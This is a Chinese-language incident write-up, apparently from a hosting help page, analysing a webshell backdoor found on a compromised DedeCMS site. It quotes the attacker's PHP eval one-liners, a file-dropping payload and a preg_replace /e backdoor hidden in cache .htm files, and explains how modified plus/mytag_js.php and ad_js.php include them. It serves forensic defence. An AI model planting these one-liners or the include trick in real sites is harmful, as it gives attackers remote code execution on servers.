虚拟主机

dedecms之webshell后门分析


单位某站用的dedecms,今天被某黑阔getshell了,无奈只能打包代码进行分析,用各种webshell扫描器只扫到一个data/tplcache/xxxxx.inc文件,文件代码如下:

{dede:php}file_put_contents(’90sec.php’,'<?php eval($_POST[guige]);?>’);{/dede:php}

但是翻遍所有的Web目录也没有找到90sec.php文件,有朋友指点说可能是其它文件include这个文件。然后又用Seay的代码审计工具定义关键字各种扫,还是没找到。

最后翻到data/cache目录下发现了几个htm文件,myad-1.htm,myad-16.htm,mytag-1208.htm等,打开这些html文件,代码分别如下:

<!–
document.write(“dedecmsisok<?php @eval($_POST[cmd]);?>”);
–>
<!–
document.write(“<?php $fp = @fopen(‘av.php’, ‘a’);@fwrite($fp, ‘<?php eval($_POST[110]) ?>axxxxx’);echo ‘OK’;@fclose($fp);?>”);
–>
<!–
document.write(“<?php echo ‘dedecms 5.7 0day<br>guige, 90sec.org’;@preg_replace(‘/[copyright]/e’,$_REQUEST[‘guige’],’error’);?>”);
–>

看到这几个文件很奇怪,不知道黑阔要干嘛??虽然代码看似很熟?,但是HTML文件能当后门用么?想起之前朋友说的include,然后结合前段时间的getshell漏洞利用细节,最终翻到plus/mytag_js.php文件,在这个文件里终于发现黑阔无节操的地方,主要代码如下:


dedecms之无节操webshell后门 - 第1张  | 阿德马Web安全


看到上面的代码我们应该知道黑阔是多么的邪恶,在生成的htm格式的cache文件中写?各种类型的一句话代码,然后再修改plus/ad_js.php和mytag_js.php文件,包含htm格式的cache文件。这样黑阔只需要在菜刀中填入以下URL就可以连接一句话了.

http://www.landui.com/plus/mytag_js.php?id=1208

http://www.landui.com/plus/ad_js.php?id=1

具体的id以及文件名跟data/cache目录下的myad-1.htm,mytag-1208.htm是有关系的。因此各种webshell扫描器都没有扫到webshell后门文件,因为很多默认都不对htm进行扫描.


提交成功!非常感谢您的反馈,我们会继续努力做到更好!

这条文档是否有帮助解决问题?

非常抱歉未能帮助到您。为了给您提供更好的服务,我们很需要您进一步的反馈信息:

在文档使用中是否遇到以下问题: